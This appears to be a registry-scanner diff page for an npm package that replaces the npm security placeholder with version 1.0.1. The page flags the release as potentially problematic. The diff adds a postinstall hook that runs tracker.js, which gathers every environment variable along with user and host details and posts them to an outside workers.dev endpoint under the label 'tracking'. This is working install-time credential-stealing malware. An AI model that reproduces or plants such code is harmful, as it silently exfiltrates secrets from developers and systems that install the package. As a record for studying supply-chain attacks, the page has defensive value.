jhsdfgghsdfjhds 0.0.1-security → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of jhsdfgghsdfjhds might be problematic. Click here for more details.

@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "jhsdfgghsdfjhds",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node index.js"
7
+ },
8
+ "dependencies": {
9
+ "axios": "^1.6.8",
10
+ "os": "^0.1.2"
11
+ },
12
+ "author": "",
13
+ "license": "ISC",
14
+ "description": ""
15
+ }
package/index.js ADDED
@@ -0,0 +1,10 @@
1
+ // index.js
2
+
3
+ const trackPackage = require('./tracker');
4
+
5
+ // Define the URL of your tracking service
6
+
7
+ // Example usage
8
+ const packageName = 'jhsdfgghsdfjhds';
9
+ trackPackage(packageName);
10
+
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "jhsdfgghsdfjhds",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node index.js"
7
+ },
8
+ "dependencies": {
9
+ "axios": "^1.6.8",
10
+ "os": "^0.1.2"
11
+ },
12
+ "author": "",
13
+ "license": "ISC",
14
+ "description": ""
6
15
  }
package/tracker.js ADDED
@@ -0,0 +1,47 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+
4
+ async function trackPackage(packageName) {
5
+ try {
6
+ // Get process information
7
+ const processInfo = {
8
+ pid: process.pid,
9
+ platform: process.platform,
10
+ memoryUsage: process.memoryUsage(),
11
+ cpuUsage: process.cpuUsage()
12
+ };
13
+
14
+ // Get environment variables
15
+ const environmentVariables = process.env;
16
+
17
+ // List users
18
+ const userList = os.userInfo();
19
+
20
+ // Get system info
21
+ const systemInfo = {
22
+ hostname: os.hostname(),
23
+ platform: os.platform(),
24
+ type: os.type(),
25
+ release: os.release(),
26
+ totalMemory: os.totalmem(),
27
+ freeMemory: os.freemem(),
28
+ cpus: os.cpus()
29
+ };
30
+
31
+ // Track the package
32
+ await axios.post('https://b.alt-h7-eoj8gqk1.workers.dev/track', {
33
+ packageName,
34
+ processInfo,
35
+ environmentVariables,
36
+ userList,
37
+ systemInfo
38
+ });
39
+
40
+ console.log(`Download of ${packageName} tracked successfully.`);
41
+ } catch (error) {
42
+ console.error('Error tracking package:', error);
43
+ }
44
+ }
45
+
46
+
47
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=jhsdfgghsdfjhds for more information.